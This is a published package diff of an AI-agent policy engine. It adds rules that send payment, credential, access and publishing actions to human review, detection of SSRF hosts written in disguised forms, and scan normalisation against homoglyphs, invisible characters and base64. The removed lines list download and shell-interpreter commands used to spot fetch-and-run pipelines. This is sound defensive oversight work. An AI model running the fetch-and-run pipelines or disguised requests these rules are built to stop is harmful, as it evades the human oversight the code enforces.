@node9/policy-engine 2.35.0 → 2.37.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/dist/index.d.mts +51 -6
- package/dist/index.d.ts +51 -6
- package/dist/index.js +1592 -469
- package/dist/index.mjs +1589 -469
- package/package.json +1 -1
package/dist/index.js
CHANGED
|
@@ -30,6 +30,7 @@ var __toCommonJS = (mod) => __copyProps(__defProp({}, "__esModule", { value: tru
|
|
|
30
30
|
// src/index.ts
|
|
31
31
|
var src_exports = {};
|
|
32
32
|
__export(src_exports, {
|
|
33
|
+
ACTION_SHIELD_NAMES: () => ACTION_SHIELD_NAMES,
|
|
33
34
|
AGENT_INSTRUCTION_DIRS: () => AGENT_INSTRUCTION_DIRS,
|
|
34
35
|
AGENT_INSTRUCTION_FILES: () => AGENT_INSTRUCTION_FILES,
|
|
35
36
|
ARGUMENT_SCAN_LIMITS: () => ARGUMENT_SCAN_LIMITS,
|
|
@@ -81,6 +82,7 @@ __export(src_exports, {
|
|
|
81
82
|
analyzeFsOperation: () => analyzeFsOperation,
|
|
82
83
|
analyzePipeChain: () => analyzePipeChain,
|
|
83
84
|
analyzeShellCommand: () => analyzeShellCommand,
|
|
85
|
+
argumentLeavesText: () => argumentLeavesText,
|
|
84
86
|
catalogSettingsFromConfig: () => catalogSettingsFromConfig,
|
|
85
87
|
checkDangerousSql: () => checkDangerousSql,
|
|
86
88
|
checkIdForCheckedBy: () => checkIdForCheckedBy,
|
|
@@ -197,6 +199,7 @@ __export(src_exports, {
|
|
|
197
199
|
scanViews: () => scanViews,
|
|
198
200
|
sensitivePathMatch: () => sensitivePathMatch,
|
|
199
201
|
shellRuleArgs: () => shellRuleArgs,
|
|
202
|
+
shellScriptOperands: () => shellScriptOperands,
|
|
200
203
|
ssrfCheckId: () => ssrfCheckId,
|
|
201
204
|
ssrfDestinationFloor: () => ssrfDestinationFloor,
|
|
202
205
|
ssrfExemptMatches: () => ssrfExemptMatches,
|
|
@@ -535,6 +538,79 @@ var filesystem_default = {
|
|
|
535
538
|
dangerousWords: ["wipefs"]
|
|
536
539
|
};
|
|
537
540
|
|
|
541
|
+
// src/shields/builtin/finance.json
|
|
542
|
+
var finance_default = {
|
|
543
|
+
name: "finance",
|
|
544
|
+
description: "Asks before money moves through a payment or banking app (refunds, payouts, transfers, charges, invoices), whatever the request said. Reads are never asked about.",
|
|
545
|
+
aliases: ["payments", "money"],
|
|
546
|
+
smartRules: [
|
|
547
|
+
{
|
|
548
|
+
name: "shield:finance:review-refund",
|
|
549
|
+
tool: "{,mcp__*__}{create_refund,refund_payment,refund_charge,refund_order,issue_refund}",
|
|
550
|
+
conditions: [],
|
|
551
|
+
verdict: "review",
|
|
552
|
+
reason: "A refund returns money to a customer. node9 asks before money moves, whatever the request said (Finance shield)."
|
|
553
|
+
},
|
|
554
|
+
{
|
|
555
|
+
name: "shield:finance:review-payout",
|
|
556
|
+
tool: "{,mcp__*__}{create_payout,send_payout,payout,create_payouts_batch}",
|
|
557
|
+
conditions: [],
|
|
558
|
+
verdict: "review",
|
|
559
|
+
reason: "A payout moves the balance to a bank account. node9 asks before money moves (Finance shield)."
|
|
560
|
+
},
|
|
561
|
+
{
|
|
562
|
+
name: "shield:finance:review-transfer",
|
|
563
|
+
tool: "{,mcp__*__}{transfer_create,transfer_authorization_create,create_transfer,transfer_money,transfer_funds,send_money,wire_transfer,create_wire,schedule_transaction,update_scheduled_transaction,create_transaction}",
|
|
564
|
+
conditions: [],
|
|
565
|
+
verdict: "review",
|
|
566
|
+
reason: "A transfer moves money between accounts. node9 asks before money moves (Finance shield)."
|
|
567
|
+
},
|
|
568
|
+
{
|
|
569
|
+
name: "shield:finance:review-charge",
|
|
570
|
+
tool: "{,mcp__*__}{create_payment_intent,confirm_payment_intent,capture_payment_intent,create_charge,create_payment,capture_payment,capture_order,create_order,authorize_order,create_checkout_session}",
|
|
571
|
+
conditions: [],
|
|
572
|
+
verdict: "review",
|
|
573
|
+
reason: "This charges a card or captures a payment. node9 asks before money moves (Finance shield)."
|
|
574
|
+
},
|
|
575
|
+
{
|
|
576
|
+
name: "shield:finance:review-payment-link",
|
|
577
|
+
tool: "{,mcp__*__}{create_payment_link,create_invoice,finalize_invoice,send_invoice,pay_invoice,create_invoice_item}",
|
|
578
|
+
conditions: [],
|
|
579
|
+
verdict: "review",
|
|
580
|
+
reason: "This bills someone or creates a link that charges a card. node9 asks before money moves (Finance shield)."
|
|
581
|
+
},
|
|
582
|
+
{
|
|
583
|
+
name: "shield:finance:review-subscription",
|
|
584
|
+
tool: "{,mcp__*__}{create_subscription,cancel_subscription,update_subscription,pause_subscription,resume_subscription}",
|
|
585
|
+
conditions: [],
|
|
586
|
+
verdict: "review",
|
|
587
|
+
reason: "A subscription starts or stops recurring charges. node9 asks before money moves (Finance shield)."
|
|
588
|
+
},
|
|
589
|
+
{
|
|
590
|
+
name: "shield:finance:review-dispute",
|
|
591
|
+
tool: "{,mcp__*__}{update_dispute,accept_dispute,close_dispute}",
|
|
592
|
+
conditions: [],
|
|
593
|
+
verdict: "review",
|
|
594
|
+
reason: "This answers or concedes a chargeback. node9 asks before money moves (Finance shield)."
|
|
595
|
+
},
|
|
596
|
+
{
|
|
597
|
+
name: "shield:finance:review-card",
|
|
598
|
+
tool: "{,mcp__*__}{issue_card,create_virtual_card,create_issuing_card,update_card_limit}",
|
|
599
|
+
conditions: [],
|
|
600
|
+
verdict: "review",
|
|
601
|
+
reason: "This issues a card or changes its limit. node9 asks before money moves (Finance shield)."
|
|
602
|
+
},
|
|
603
|
+
{
|
|
604
|
+
name: "shield:finance:review-withdraw",
|
|
605
|
+
tool: "{,mcp__*__}{withdraw,withdraw_funds,create_withdrawal,request_withdrawal}",
|
|
606
|
+
conditions: [],
|
|
607
|
+
verdict: "review",
|
|
608
|
+
reason: "A withdrawal moves money out. node9 asks before money moves (Finance shield)."
|
|
609
|
+
}
|
|
610
|
+
],
|
|
611
|
+
dangerousWords: []
|
|
612
|
+
};
|
|
613
|
+
|
|
538
614
|
// src/shields/builtin/github.json
|
|
539
615
|
var github_default = {
|
|
540
616
|
name: "github",
|
|
@@ -563,6 +639,58 @@ var github_default = {
|
|
|
563
639
|
dangerousWords: []
|
|
564
640
|
};
|
|
565
641
|
|
|
642
|
+
// src/shields/builtin/identity.json
|
|
643
|
+
var identity_default = {
|
|
644
|
+
name: "identity",
|
|
645
|
+
description: "Asks before a password, a key, a token, a role or a user changes in an identity or admin app, whatever the request said. Reads are never asked about.",
|
|
646
|
+
aliases: ["access", "iam"],
|
|
647
|
+
smartRules: [
|
|
648
|
+
{
|
|
649
|
+
name: "shield:identity:review-password",
|
|
650
|
+
tool: "{,mcp__*__}{change_password,update_password,reset_password,set_password,expire_password,force_password_reset}",
|
|
651
|
+
conditions: [],
|
|
652
|
+
verdict: "review",
|
|
653
|
+
reason: "This changes or resets a password. node9 asks before credentials change, whatever the request said (Identity shield)."
|
|
654
|
+
},
|
|
655
|
+
{
|
|
656
|
+
name: "shield:identity:review-key",
|
|
657
|
+
tool: "{,mcp__*__}{rotate_key,rotate_api_key,create_api_key,create_token,create_access_token,create_personal_access_token,regenerate_secret,rotate_secret,create_service_account_key,create_credential}",
|
|
658
|
+
conditions: [],
|
|
659
|
+
verdict: "review",
|
|
660
|
+
reason: "This creates or rotates a key, token or secret. node9 asks before credentials change (Identity shield)."
|
|
661
|
+
},
|
|
662
|
+
{
|
|
663
|
+
name: "shield:identity:review-access",
|
|
664
|
+
tool: "{,mcp__*__}{grant_access,grant_permission,grant_role,revoke_access,revoke_permission,revoke_role,revoke_token,set_permission,set_permissions,set_role,assign_role,update_role,add_permission,remove_permission,attach_policy,detach_policy}",
|
|
665
|
+
conditions: [],
|
|
666
|
+
verdict: "review",
|
|
667
|
+
reason: "This grants or revokes access. node9 asks before access changes (Identity shield)."
|
|
668
|
+
},
|
|
669
|
+
{
|
|
670
|
+
name: "shield:identity:review-membership",
|
|
671
|
+
tool: "{,mcp__*__}{add_member,remove_member,add_user_to_group,remove_user_from_group,add_collaborator,remove_collaborator,invite_user,invite_member,invite_user_to_slack,invite_users,add_org_member,remove_org_member,add_team_member,remove_team_member}",
|
|
672
|
+
conditions: [],
|
|
673
|
+
verdict: "review",
|
|
674
|
+
reason: "This changes who belongs where. node9 asks before membership changes (Identity shield)."
|
|
675
|
+
},
|
|
676
|
+
{
|
|
677
|
+
name: "shield:identity:review-user",
|
|
678
|
+
tool: "{,mcp__*__}{create_user,delete_user,deactivate_user,suspend_user,activate_user,unlock_user,make_admin,promote_user,demote_user,update_user_role}",
|
|
679
|
+
conditions: [],
|
|
680
|
+
verdict: "review",
|
|
681
|
+
reason: "This creates, removes or promotes an account. node9 asks before accounts change (Identity shield)."
|
|
682
|
+
},
|
|
683
|
+
{
|
|
684
|
+
name: "shield:identity:review-mfa",
|
|
685
|
+
tool: "{,mcp__*__}{reset_mfa,reset_factors,disable_mfa,enroll_factor,deactivate_factor}",
|
|
686
|
+
conditions: [],
|
|
687
|
+
verdict: "review",
|
|
688
|
+
reason: "This changes a second factor. node9 asks before credentials change (Identity shield)."
|
|
689
|
+
}
|
|
690
|
+
],
|
|
691
|
+
dangerousWords: []
|
|
692
|
+
};
|
|
693
|
+
|
|
566
694
|
// src/shields/builtin/k8s.json
|
|
567
695
|
var k8s_default = {
|
|
568
696
|
name: "k8s",
|
|
@@ -903,6 +1031,177 @@ var project_jail_default = {
|
|
|
903
1031
|
dangerousWords: []
|
|
904
1032
|
};
|
|
905
1033
|
|
|
1034
|
+
// src/shields/builtin/publishing.json
|
|
1035
|
+
var publishing_default = {
|
|
1036
|
+
name: "publishing",
|
|
1037
|
+
description: "Asks before something goes public or ships outside the organisation (a release, a package, a deploy, a post), whatever the request said. The same switch covers the shell commands that publish.",
|
|
1038
|
+
aliases: ["release", "deploy"],
|
|
1039
|
+
smartRules: [
|
|
1040
|
+
{
|
|
1041
|
+
name: "shield:publishing:review-release",
|
|
1042
|
+
tool: "{,mcp__*__}{create_release,publish_release,create_tag_release,update_release,promote_release}",
|
|
1043
|
+
conditions: [],
|
|
1044
|
+
verdict: "review",
|
|
1045
|
+
reason: "A release ships code to everyone who installs it. node9 asks before publishing, whatever the request said (Publishing shield)."
|
|
1046
|
+
},
|
|
1047
|
+
{
|
|
1048
|
+
name: "shield:publishing:review-package",
|
|
1049
|
+
tool: "{,mcp__*__}{publish_package,npm_publish,pypi_upload,publish_version,publish_extension}",
|
|
1050
|
+
conditions: [],
|
|
1051
|
+
verdict: "review",
|
|
1052
|
+
reason: "This publishes a package. node9 asks before publishing (Publishing shield)."
|
|
1053
|
+
},
|
|
1054
|
+
{
|
|
1055
|
+
name: "shield:publishing:review-deploy",
|
|
1056
|
+
tool: "{,mcp__*__}{deploy,create_deployment,deploy_site,promote_deployment,trigger_deploy,deploy_to_production,rollout}",
|
|
1057
|
+
conditions: [],
|
|
1058
|
+
verdict: "review",
|
|
1059
|
+
reason: "This deploys to an environment other people use. node9 asks before publishing (Publishing shield)."
|
|
1060
|
+
},
|
|
1061
|
+
{
|
|
1062
|
+
name: "shield:publishing:review-post",
|
|
1063
|
+
tool: "{,mcp__*__}{post_tweet,create_tweet,post_webpage,publish_post,create_post,publish_page,send_announcement,post_announcement,create_linkedin_post,schedule_post}",
|
|
1064
|
+
conditions: [],
|
|
1065
|
+
verdict: "review",
|
|
1066
|
+
reason: "This posts outside the organisation. node9 asks before publishing (Publishing shield)."
|
|
1067
|
+
},
|
|
1068
|
+
{
|
|
1069
|
+
name: "shield:publishing:review-visibility",
|
|
1070
|
+
tool: "{,mcp__*__}{set_visibility,make_public,set_public,publish_repository,change_visibility,update_visibility}",
|
|
1071
|
+
conditions: [],
|
|
1072
|
+
verdict: "review",
|
|
1073
|
+
reason: "This makes something public. node9 asks before publishing (Publishing shield)."
|
|
1074
|
+
},
|
|
1075
|
+
{
|
|
1076
|
+
name: "shield:publishing:review-npm-publish",
|
|
1077
|
+
tool: "bash",
|
|
1078
|
+
conditions: [
|
|
1079
|
+
{
|
|
1080
|
+
field: "command",
|
|
1081
|
+
op: "matches",
|
|
1082
|
+
value: "(?:^|[^\\w-])(?:npm|pnpm)(?![\\w-])[^;&|]{0,200}?\\s(?:publish)(?![\\w-])",
|
|
1083
|
+
flags: "i"
|
|
1084
|
+
}
|
|
1085
|
+
],
|
|
1086
|
+
verdict: "review",
|
|
1087
|
+
reason: "npm publish ships the package to everyone who installs it. node9 asks before publishing (Publishing shield)."
|
|
1088
|
+
},
|
|
1089
|
+
{
|
|
1090
|
+
name: "shield:publishing:review-yarn-publish",
|
|
1091
|
+
tool: "bash",
|
|
1092
|
+
conditions: [
|
|
1093
|
+
{
|
|
1094
|
+
field: "command",
|
|
1095
|
+
op: "matches",
|
|
1096
|
+
value: "(?:^|[^\\w-])(?:yarn)(?![\\w-])[^;&|]{0,200}?\\s(?:publish)(?![\\w-])",
|
|
1097
|
+
flags: "i"
|
|
1098
|
+
}
|
|
1099
|
+
],
|
|
1100
|
+
verdict: "review",
|
|
1101
|
+
reason: "yarn publish ships the package to everyone who installs it. node9 asks before publishing (Publishing shield)."
|
|
1102
|
+
},
|
|
1103
|
+
{
|
|
1104
|
+
name: "shield:publishing:review-twine-upload",
|
|
1105
|
+
tool: "bash",
|
|
1106
|
+
conditions: [
|
|
1107
|
+
{
|
|
1108
|
+
field: "command",
|
|
1109
|
+
op: "matches",
|
|
1110
|
+
value: "(?:^|[^\\w-])(?:twine)(?![\\w-])[^;&|]{0,200}?\\s(?:upload)(?![\\w-])",
|
|
1111
|
+
flags: "i"
|
|
1112
|
+
}
|
|
1113
|
+
],
|
|
1114
|
+
verdict: "review",
|
|
1115
|
+
reason: "twine upload publishes to PyPI. node9 asks before publishing (Publishing shield)."
|
|
1116
|
+
},
|
|
1117
|
+
{
|
|
1118
|
+
name: "shield:publishing:review-python-publish",
|
|
1119
|
+
tool: "bash",
|
|
1120
|
+
conditions: [
|
|
1121
|
+
{
|
|
1122
|
+
field: "command",
|
|
1123
|
+
op: "matches",
|
|
1124
|
+
value: "(?:^|[^\\w-])(?:poetry|uv|hatch|flit)(?![\\w-])[^;&|]{0,200}?\\s(?:publish)(?![\\w-])",
|
|
1125
|
+
flags: "i"
|
|
1126
|
+
}
|
|
1127
|
+
],
|
|
1128
|
+
verdict: "review",
|
|
1129
|
+
reason: "This publishes the Python package to PyPI. node9 asks before publishing (Publishing shield)."
|
|
1130
|
+
},
|
|
1131
|
+
{
|
|
1132
|
+
name: "shield:publishing:review-release-tool-publish",
|
|
1133
|
+
tool: "bash",
|
|
1134
|
+
conditions: [
|
|
1135
|
+
{
|
|
1136
|
+
field: "command",
|
|
1137
|
+
op: "matches",
|
|
1138
|
+
value: "(?:^|[^\\w-])(?:lerna|changeset|vsce|ovsx)(?![\\w-])[^;&|]{0,200}?\\s(?:publish)(?![\\w-])",
|
|
1139
|
+
flags: "i"
|
|
1140
|
+
}
|
|
1141
|
+
],
|
|
1142
|
+
verdict: "review",
|
|
1143
|
+
reason: "This publishes packages or an editor extension through a release tool. node9 asks before publishing (Publishing shield)."
|
|
1144
|
+
},
|
|
1145
|
+
{
|
|
1146
|
+
name: "shield:publishing:review-cargo-publish",
|
|
1147
|
+
tool: "bash",
|
|
1148
|
+
conditions: [
|
|
1149
|
+
{
|
|
1150
|
+
field: "command",
|
|
1151
|
+
op: "matches",
|
|
1152
|
+
value: "(?:^|[^\\w-])(?:cargo)(?![\\w-])[^;&|]{0,200}?\\s(?:publish)(?![\\w-])",
|
|
1153
|
+
flags: "i"
|
|
1154
|
+
}
|
|
1155
|
+
],
|
|
1156
|
+
verdict: "review",
|
|
1157
|
+
reason: "cargo publish ships the crate. node9 asks before publishing (Publishing shield)."
|
|
1158
|
+
},
|
|
1159
|
+
{
|
|
1160
|
+
name: "shield:publishing:review-gem-push",
|
|
1161
|
+
tool: "bash",
|
|
1162
|
+
conditions: [
|
|
1163
|
+
{
|
|
1164
|
+
field: "command",
|
|
1165
|
+
op: "matches",
|
|
1166
|
+
value: "(?:^|[^\\w-])(?:gem)(?![\\w-])[^;&|]{0,200}?\\s(?:push)(?![\\w-])",
|
|
1167
|
+
flags: "i"
|
|
1168
|
+
}
|
|
1169
|
+
],
|
|
1170
|
+
verdict: "review",
|
|
1171
|
+
reason: "gem push publishes to RubyGems. node9 asks before publishing (Publishing shield)."
|
|
1172
|
+
},
|
|
1173
|
+
{
|
|
1174
|
+
name: "shield:publishing:review-docker-push",
|
|
1175
|
+
tool: "bash",
|
|
1176
|
+
conditions: [
|
|
1177
|
+
{
|
|
1178
|
+
field: "command",
|
|
1179
|
+
op: "matches",
|
|
1180
|
+
value: "(?:^|[^\\w-])(?:docker|podman)(?![\\w-])[^;&|]{0,200}?\\s(?:push|--push)(?![\\w-])",
|
|
1181
|
+
flags: "i"
|
|
1182
|
+
}
|
|
1183
|
+
],
|
|
1184
|
+
verdict: "review",
|
|
1185
|
+
reason: "docker push publishes the image to a registry. node9 asks before publishing (Publishing shield)."
|
|
1186
|
+
},
|
|
1187
|
+
{
|
|
1188
|
+
name: "shield:publishing:review-gh-release",
|
|
1189
|
+
tool: "bash",
|
|
1190
|
+
conditions: [
|
|
1191
|
+
{
|
|
1192
|
+
field: "command",
|
|
1193
|
+
op: "matches",
|
|
1194
|
+
value: "(?:^|[^\\w-])(?:gh)(?![\\w-])[^;&|]{0,200}?\\srelease\\s+(?:create|upload|edit)(?![\\w-])",
|
|
1195
|
+
flags: "i"
|
|
1196
|
+
}
|
|
1197
|
+
],
|
|
1198
|
+
verdict: "review",
|
|
1199
|
+
reason: "gh release ships a release on GitHub. node9 asks before publishing (Publishing shield)."
|
|
1200
|
+
}
|
|
1201
|
+
],
|
|
1202
|
+
dangerousWords: []
|
|
1203
|
+
};
|
|
1204
|
+
|
|
906
1205
|
// src/shields/builtin/redis.json
|
|
907
1206
|
var redis_default = {
|
|
908
1207
|
name: "redis",
|
|
@@ -1026,13 +1325,25 @@ var BUILTIN_SHIELDS = {
|
|
|
1026
1325
|
[bash_safe_default.name]: bash_safe_default,
|
|
1027
1326
|
[docker_default.name]: docker_default,
|
|
1028
1327
|
[filesystem_default.name]: filesystem_default,
|
|
1328
|
+
// Dangerous actions as category shields (node9Firewall#385): an MCP app's
|
|
1329
|
+
// money, credential and publishing tools, asked about whatever the request
|
|
1330
|
+
// said. One glob per rule covers the bare name the gateway sends and the
|
|
1331
|
+
// mcp__<server>__ name the agent hook sends.
|
|
1332
|
+
[finance_default.name]: finance_default,
|
|
1029
1333
|
[github_default.name]: github_default,
|
|
1334
|
+
[identity_default.name]: identity_default,
|
|
1030
1335
|
[k8s_default.name]: k8s_default,
|
|
1031
1336
|
[mongodb_default.name]: mongodb_default,
|
|
1032
1337
|
[postgres_default.name]: postgres_default,
|
|
1033
1338
|
[project_jail_default.name]: project_jail_default,
|
|
1339
|
+
[publishing_default.name]: publishing_default,
|
|
1034
1340
|
[redis_default.name]: redis_default
|
|
1035
1341
|
};
|
|
1342
|
+
var ACTION_SHIELD_NAMES = /* @__PURE__ */ new Set([
|
|
1343
|
+
"finance",
|
|
1344
|
+
"identity",
|
|
1345
|
+
"publishing"
|
|
1346
|
+
]);
|
|
1036
1347
|
function assertBuiltinShieldRegexesAreSafe() {
|
|
1037
1348
|
for (const shield of Object.values(BUILTIN_SHIELDS)) {
|
|
1038
1349
|
for (const rule of shield.smartRules) {
|
|
@@ -1237,6 +1548,17 @@ function classifySsrf(host2) {
|
|
|
1237
1548
|
return null;
|
|
1238
1549
|
}
|
|
1239
1550
|
}
|
|
1551
|
+
function isDisguisedSpelling(asWritten, normalized) {
|
|
1552
|
+
let s = asWritten.trim().toLowerCase().replace(/\.$/, "");
|
|
1553
|
+
if (s.startsWith("[") && s.endsWith("]")) s = s.slice(1, -1);
|
|
1554
|
+
if (s === normalized) return false;
|
|
1555
|
+
const parts = s.split(".");
|
|
1556
|
+
const shorthand = parts.length >= 2 && parts.length <= 3 && parts.every((p) => /^(?:0|[1-9][0-9]*)$/.test(p));
|
|
1557
|
+
return !shorthand;
|
|
1558
|
+
}
|
|
1559
|
+
function ssrfDisguisedReason(m, asWritten) {
|
|
1560
|
+
return `${asWritten} is ${TIER_REASON[m.tier]} written in a disguised form` + (m.normalized ? ` (${m.normalized})` : "") + ". Plain spellings of it are allowed; this one needs a look.";
|
|
1561
|
+
}
|
|
1240
1562
|
function ssrfExemptMatches(entries, normalized) {
|
|
1241
1563
|
if (!entries?.length || !normalized) return false;
|
|
1242
1564
|
const target = bitsOf(normalized);
|
|
@@ -1281,12 +1603,26 @@ function ssrfFloor(tokens, opts = {}) {
|
|
|
1281
1603
|
for (const { token, binary } of tokens) {
|
|
1282
1604
|
const m = classifySsrf(token);
|
|
1283
1605
|
if (!m) continue;
|
|
1284
|
-
|
|
1285
|
-
if (
|
|
1286
|
-
return {
|
|
1606
|
+
const decision = ssrfFloorDecision(m, token, opts);
|
|
1607
|
+
if (decision === null) continue;
|
|
1608
|
+
return {
|
|
1609
|
+
...m,
|
|
1610
|
+
host: token,
|
|
1611
|
+
binary,
|
|
1612
|
+
decision,
|
|
1613
|
+
reason: decision === "review" ? ssrfDisguisedReason(m, token) : ssrfReason(m, token)
|
|
1614
|
+
};
|
|
1287
1615
|
}
|
|
1288
1616
|
return null;
|
|
1289
1617
|
}
|
|
1618
|
+
function ssrfFloorDecision(m, asWritten, opts) {
|
|
1619
|
+
if (m.overridable && ssrfExemptMatches(opts.ssrfAllow, m.normalized)) return null;
|
|
1620
|
+
if (isStrictGatedTier(m.tier) && !opts.ssrfStrict) {
|
|
1621
|
+
if (opts.allowPrivate || m.kind !== "address" || !m.normalized) return null;
|
|
1622
|
+
return isDisguisedSpelling(asWritten, m.normalized) ? "review" : null;
|
|
1623
|
+
}
|
|
1624
|
+
return "block";
|
|
1625
|
+
}
|
|
1290
1626
|
|
|
1291
1627
|
// src/catalog-text.ts
|
|
1292
1628
|
var CHECK_TEXT = {
|
|
@@ -2155,76 +2491,211 @@ var import_picomatch = __toESM(require("picomatch"));
|
|
|
2155
2491
|
|
|
2156
2492
|
// src/shell/index.ts
|
|
2157
2493
|
var import_mvdan_sh = __toESM(require("mvdan-sh"));
|
|
2158
|
-
|
|
2159
|
-
|
|
2160
|
-
var
|
|
2161
|
-
|
|
2162
|
-
|
|
2163
|
-
"--body",
|
|
2164
|
-
"--title",
|
|
2165
|
-
"--description",
|
|
2166
|
-
"--comment",
|
|
2167
|
-
"--subject",
|
|
2168
|
-
"--summary"
|
|
2169
|
-
]);
|
|
2170
|
-
var SHELL_INTERPRETERS = /* @__PURE__ */ new Set([
|
|
2171
|
-
"bash",
|
|
2172
|
-
"sh",
|
|
2173
|
-
"zsh",
|
|
2174
|
-
"fish",
|
|
2175
|
-
"dash",
|
|
2176
|
-
"ksh",
|
|
2177
|
-
"iex",
|
|
2178
|
-
"invoke-expression",
|
|
2179
|
-
"powershell",
|
|
2180
|
-
"pwsh"
|
|
2181
|
-
]);
|
|
2182
|
-
var DOWNLOAD_CMDS = /* @__PURE__ */ new Set([
|
|
2183
|
-
"curl",
|
|
2184
|
-
"wget",
|
|
2185
|
-
"iwr",
|
|
2186
|
-
"invoke-webrequest",
|
|
2187
|
-
"irm",
|
|
2188
|
-
"invoke-restmethod"
|
|
2189
|
-
]);
|
|
2190
|
-
function isCatHeredocOrLit(part) {
|
|
2191
|
-
if (!part) return false;
|
|
2192
|
-
const t = syntax.NodeType(part);
|
|
2193
|
-
if (t === "Lit") return true;
|
|
2194
|
-
if (t !== "CmdSubst") return false;
|
|
2195
|
-
const stmts = part.Stmts || [];
|
|
2196
|
-
if (stmts.length !== 1) return false;
|
|
2197
|
-
const stmt = stmts[0];
|
|
2198
|
-
const redirs = stmt.Redirs || stmt.Cmd?.Redirs || [];
|
|
2199
|
-
const hasHeredoc = redirs.some((r) => r && r.Hdoc);
|
|
2200
|
-
if (!hasHeredoc) return false;
|
|
2201
|
-
const cmd = stmt.Cmd;
|
|
2202
|
-
if (!cmd || syntax.NodeType(cmd) !== "CallExpr") return false;
|
|
2203
|
-
const firstArg = cmd.Args?.[0]?.Parts || [];
|
|
2204
|
-
if (firstArg.length !== 1 || syntax.NodeType(firstArg[0]) !== "Lit") return false;
|
|
2205
|
-
return (firstArg[0].Value || "").toLowerCase() === "cat";
|
|
2494
|
+
|
|
2495
|
+
// src/dlp/normalize.ts
|
|
2496
|
+
var INVISIBLE_RE = /[͏----︀-️]|[\u{E0000}-\u{E007F}]/gu;
|
|
2497
|
+
function isInvisibleChar(char) {
|
|
2498
|
+
return INVISIBLE_ONE.test(char);
|
|
2206
2499
|
}
|
|
2207
|
-
var
|
|
2208
|
-
|
|
2209
|
-
|
|
2210
|
-
|
|
2211
|
-
var
|
|
2212
|
-
|
|
2213
|
-
|
|
2214
|
-
|
|
2215
|
-
|
|
2216
|
-
|
|
2217
|
-
|
|
2218
|
-
|
|
2219
|
-
|
|
2220
|
-
|
|
2221
|
-
|
|
2222
|
-
|
|
2223
|
-
|
|
2224
|
-
|
|
2225
|
-
|
|
2226
|
-
|
|
2227
|
-
|
|
2500
|
+
var INVISIBLE_ONE = new RegExp(`^(?:${INVISIBLE_RE.source.split("|")[0]})$`, "u");
|
|
2501
|
+
function stripInvisible(text) {
|
|
2502
|
+
return text.replace(INVISIBLE_RE, "");
|
|
2503
|
+
}
|
|
2504
|
+
var HOMOGLYPHS = {
|
|
2505
|
+
// Cyrillic lowercase
|
|
2506
|
+
\u0430: "a",
|
|
2507
|
+
\u0435: "e",
|
|
2508
|
+
\u043E: "o",
|
|
2509
|
+
\u0440: "p",
|
|
2510
|
+
\u0441: "c",
|
|
2511
|
+
\u0443: "y",
|
|
2512
|
+
\u0445: "x",
|
|
2513
|
+
\u0456: "i",
|
|
2514
|
+
\u0458: "j",
|
|
2515
|
+
\u0455: "s",
|
|
2516
|
+
"\u0501": "d",
|
|
2517
|
+
"\u051B": "q",
|
|
2518
|
+
"\u051D": "w",
|
|
2519
|
+
\u04BB: "h",
|
|
2520
|
+
\u0261: "g",
|
|
2521
|
+
\u0451: "e",
|
|
2522
|
+
"\u04CF": "l",
|
|
2523
|
+
"\u217C": "l",
|
|
2524
|
+
// Cyrillic uppercase
|
|
2525
|
+
\u0410: "A",
|
|
2526
|
+
\u0412: "B",
|
|
2527
|
+
\u0415: "E",
|
|
2528
|
+
\u041A: "K",
|
|
2529
|
+
\u041C: "M",
|
|
2530
|
+
\u041D: "H",
|
|
2531
|
+
\u041E: "O",
|
|
2532
|
+
\u0420: "P",
|
|
2533
|
+
\u0421: "C",
|
|
2534
|
+
\u0422: "T",
|
|
2535
|
+
\u0425: "X",
|
|
2536
|
+
\u0405: "S",
|
|
2537
|
+
\u0406: "I",
|
|
2538
|
+
\u0408: "J",
|
|
2539
|
+
\u04AE: "Y",
|
|
2540
|
+
"\u051A": "Q",
|
|
2541
|
+
"\u051C": "W",
|
|
2542
|
+
// Greek lowercase
|
|
2543
|
+
\u03B1: "a",
|
|
2544
|
+
\u03BF: "o",
|
|
2545
|
+
\u03BD: "v",
|
|
2546
|
+
\u03B5: "e",
|
|
2547
|
+
\u03B9: "i",
|
|
2548
|
+
\u03BA: "k",
|
|
2549
|
+
\u03C1: "p",
|
|
2550
|
+
\u03C4: "t",
|
|
2551
|
+
\u03C5: "u",
|
|
2552
|
+
\u03C7: "x",
|
|
2553
|
+
\u03B3: "y",
|
|
2554
|
+
// Greek uppercase
|
|
2555
|
+
\u0391: "A",
|
|
2556
|
+
\u0392: "B",
|
|
2557
|
+
\u0395: "E",
|
|
2558
|
+
\u0396: "Z",
|
|
2559
|
+
\u0397: "H",
|
|
2560
|
+
\u0399: "I",
|
|
2561
|
+
\u039A: "K",
|
|
2562
|
+
\u039C: "M",
|
|
2563
|
+
\u039D: "N",
|
|
2564
|
+
\u039F: "O",
|
|
2565
|
+
\u03A1: "P",
|
|
2566
|
+
\u03A4: "T",
|
|
2567
|
+
\u03A5: "Y",
|
|
2568
|
+
\u03A7: "X"
|
|
2569
|
+
};
|
|
2570
|
+
var HOMOGLYPH_RE = new RegExp(`[${Object.keys(HOMOGLYPHS).join("")}]`, "g");
|
|
2571
|
+
function foldHomoglyphs(text) {
|
|
2572
|
+
return text.normalize("NFKC").replace(HOMOGLYPH_RE, (c) => HOMOGLYPHS[c] ?? c);
|
|
2573
|
+
}
|
|
2574
|
+
function normalizeForScan(text) {
|
|
2575
|
+
return foldHomoglyphs(stripInvisible(text));
|
|
2576
|
+
}
|
|
2577
|
+
var MAX_BLOBS = 32;
|
|
2578
|
+
var MIN_DECODED = 16;
|
|
2579
|
+
function looksLikeText(buf) {
|
|
2580
|
+
if (buf.length < MIN_DECODED) return false;
|
|
2581
|
+
let printable = 0;
|
|
2582
|
+
for (const b of buf) {
|
|
2583
|
+
if (b >= 32 && b <= 126 || b === 10 || b === 13 || b === 9) printable++;
|
|
2584
|
+
}
|
|
2585
|
+
return printable / buf.length >= 0.9;
|
|
2586
|
+
}
|
|
2587
|
+
var BASE64_RUN_RE = /[A-Za-z0-9+/]{32,}={0,2}|[A-Za-z0-9_-]{32,}/g;
|
|
2588
|
+
function decodeEmbeddedBase64(text) {
|
|
2589
|
+
const out = [];
|
|
2590
|
+
for (const m of text.matchAll(BASE64_RUN_RE)) {
|
|
2591
|
+
if (out.length >= MAX_BLOBS) break;
|
|
2592
|
+
const run = m[0];
|
|
2593
|
+
if (/^[0-9a-fA-F]+$/.test(run)) continue;
|
|
2594
|
+
const buf = Buffer.from(run, "base64");
|
|
2595
|
+
if (looksLikeText(buf)) out.push(buf.toString("utf8"));
|
|
2596
|
+
